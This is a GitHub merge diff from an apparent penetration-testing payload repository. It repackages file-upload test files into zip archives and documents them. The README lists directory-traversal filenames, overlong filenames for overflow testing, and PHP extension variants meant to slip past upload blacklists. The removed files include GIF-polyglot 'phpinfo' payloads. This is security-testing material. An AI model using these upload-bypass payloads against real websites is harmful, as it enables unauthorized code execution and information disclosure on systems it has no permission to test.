Merge pull request #790 from ItsIgnacioPortal/i770

Fixes #770: Zipped files with problematic filenames
This commit is contained in:
g0tmi1k
2022-08-02 00:12:52 +01:00
committed by GitHub
52 changed files with 71 additions and 66 deletions
+35
View File
@@ -0,0 +1,35 @@
## directory-traversal.zip
This zip file containes files with filenames for directory traversal:
- `..::..::;`
- `..::;`
- `..:;`
- `..;`
- `..;:`
- `..\:;`
- `.:..:`
- `.:..:;`
- `.:;`
- `.;`
- `.;:`
- `:..:;`
- `::..::;`
- `:;`
- `;`
- `;:`
- `;\:`
> It's impossible to unzip this file on Windows, due to their arbitrary filename restrictions. It's possible to unzip it in WSL though.
## max-length.zip
This zip file containes files with long filenames for testing buffer overflow vulnerabilities, or error-based access control vulnerabilities. This zip also includes a script to generate arbitrarily long filenames.
- `AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif`
- `AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`
- `make-255.sh`
> It's impossible to unzip this file on Windows, due to their arbitrary filename restrictions. It's possible to unzip it in WSL though.
Binary file not shown.
Binary file not shown.
@@ -1,7 +0,0 @@
#!/bin/sh
#$ msf-pattern_create -l 255
touch Aa0Aa1Aa2Aa3Aa4Aa5A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 -1 +0,0 @@
Hello World
-1
View File
@@ -1 +0,0 @@
Hello World
-1
View File
@@ -1 +0,0 @@
Hello World
-1
View File
@@ -1 +0,0 @@
Hello World
-1
View File
@@ -1 +0,0 @@
Hello World
-1
View File
@@ -1 +0,0 @@
Hello World
-1
View File
@@ -1 +0,0 @@
Hello World
-1
View File
@@ -1 +0,0 @@
Hello World
-1
View File
@@ -1 +0,0 @@
Hello World
-1
View File
@@ -1 +0,0 @@
Hello World
-1
View File
@@ -1 +0,0 @@
Hello World
-1
View File
@@ -1 +0,0 @@
Hello World
-1
View File
@@ -1 +0,0 @@
Hello World
-1
View File
@@ -1 +0,0 @@
Hello World
-1
View File
@@ -1 +0,0 @@
Hello World
-1
View File
@@ -1 +0,0 @@
Hello World
Binary file not shown.
-5
View File
@@ -1,5 +0,0 @@
#!/bin/sh
zip phpinfo-aio.zip phpinfo*.{p*,txt,jp*g,gif}
tar -cvf phpinfo-aio.tar phpinfo*.{p*,txt,jp*g,gif}
Binary file not shown.
Binary file not shown.
Binary file not shown.

Before

Width:  |  Height:  |  Size: 7.2 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 74 KiB

-3
View File
@@ -1,3 +0,0 @@
//tested on 7.2
// even with short_open_tag=0
<?=phpinfo()?>
-2
View File
@@ -1,2 +0,0 @@
GIF89a1
<?php phpinfo(); ?>

Before

Width:  |  Height:  |  Size: 29 B

-2
View File
@@ -1,2 +0,0 @@
GIF89a1
<?php phpinfo(); ?>

Before

Width:  |  Height:  |  Size: 29 B

-2
View File
@@ -1,2 +0,0 @@
GIF89a1
<?php phpinfo(); ?>

Before

Width:  |  Height:  |  Size: 29 B

-2
View File
@@ -1,2 +0,0 @@
GIF89a1
<?php phpinfo(); ?>

Before

Width:  |  Height:  |  Size: 29 B

-1
View File
@@ -1 +0,0 @@
<?php phpinfo(); ?>
-1
View File
@@ -1 +0,0 @@
<?php phpinfo(); ?>
-2
View File
@@ -1,2 +0,0 @@
GIF89a1
<?php phpinfo(); ?>

Before

Width:  |  Height:  |  Size: 29 B

-1
View File
@@ -1 +0,0 @@
GIF89a1 <?php phpinfo(); ?>

Before

Width:  |  Height:  |  Size: 28 B

-2
View File
@@ -1,2 +0,0 @@
GIF89a1
<?php phpinfo(); ?>

Before

Width:  |  Height:  |  Size: 29 B

-2
View File
@@ -1,2 +0,0 @@
GIF89a1
<?php phpinfo(); ?>

Before

Width:  |  Height:  |  Size: 29 B

-2
View File
@@ -1,2 +0,0 @@
GIF89a1
<?php phpinfo(); ?>

Before

Width:  |  Height:  |  Size: 29 B

-2
View File
@@ -1,2 +0,0 @@
GIF89a1
<?php phpinfo(); ?>

Before

Width:  |  Height:  |  Size: 29 B

-1
View File
@@ -1 +0,0 @@
<?php phpinfo(); ?>
-1
View File
@@ -1 +0,0 @@
<?php phpinfo(); ?>
-1
View File
@@ -1 +0,0 @@
<?php phpinfo(); ?>
-1
View File
@@ -1 +0,0 @@
<?php phpinfo(); ?>
-1
View File
@@ -1 +0,0 @@
<?php phpinfo(); ?>
-1
View File
@@ -1 +0,0 @@
<?php phpinfo(); ?>
-1
View File
@@ -1 +0,0 @@
<?php phpinfo(); ?>
-1
View File
@@ -1 +0,0 @@
<?php phpinfo(); ?>
-1
View File
@@ -1 +0,0 @@
<?php phpinfo(); ?>
+36 -1
View File
@@ -44,4 +44,39 @@ IE9: http://0me.me/demo/xss/xssproject.swf?js=w=window.open(invalidfileinvali
## POC_img_phpinfo File
Outlined here: https://www.secgeek.net/bookfresh-vulnerability/
Outlined here: https://www.secgeek.net/bookfresh-vulnerability/
## PHPInfo.zip
This zip file containes files with filenames for bypassing blacklists and accessing `phpinfo.php`:
- ` make-aio.sh`
- ` phpinfo-aio.tar`
- ` phpinfo-aio.zip`
- `'phpinfo.""gif'`
- `'phpinfo."gif'`
- `"phpinfo.''gif"`
- `"phpinfo.'gif"`
- ` phpinfo.jpg.php`
- ` phpinfo-metadata.gif`
- ` phpinfo-metadata.jpg`
- ` phpinfo.php`
- ` phpinfo.php-1.gif`
- ` phpinfo.php-2.gif`
- ` phpinfo.php3`
- ` phpinfo.php4`
- ` phpinfo.php5`
- ` phpinfo.php7`
- `'phpinfo.php.""gif'`
- `'phpinfo.php."gif'`
- `"phpinfo.php.''gif"`
- `"phpinfo.php.'gif"`
- ` phpinfo.phpt`
- `'phpinfo.php;.txt'`
- ` phpinfo.pht`
- ` phpinfo.phtml`
- ` phpinfo-shortsyntax.php`
- ` phpinfo.txt`
It's impossible to unzip this file on Windows, due to their arbitrary filename restrictions. It's possible to unzip it in WSL though.